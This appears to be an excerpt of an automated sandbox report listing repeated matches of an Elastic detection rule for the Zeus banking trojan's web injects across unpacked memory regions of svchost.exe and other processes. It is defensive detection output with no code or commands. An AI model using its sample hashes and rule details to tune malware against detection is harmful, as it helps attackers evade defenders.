Source: 2.3.svchost.exe.3a40000.23.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.28.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.40.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.88e000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 12.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.14b0000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 4.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.12e0000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.35.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 12.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.1412000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.32.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 15.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.902000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.893000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.37.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 34.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2950000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 4.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.1242000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 15.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.902000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.11.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.33.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.24.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.25.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 31.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2412000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.893000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.32.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.18.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.2d00000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.16.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 8.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.c52000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.28.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 27.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2da0000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.19.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 34.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.27f2000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.88e000.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 21.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2b32000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.2.roundwood.exe.406400.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.40.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3c20000.8.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.20.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.13.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 21.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2cd0000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 21.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2b32000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 38.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2762000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.893000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
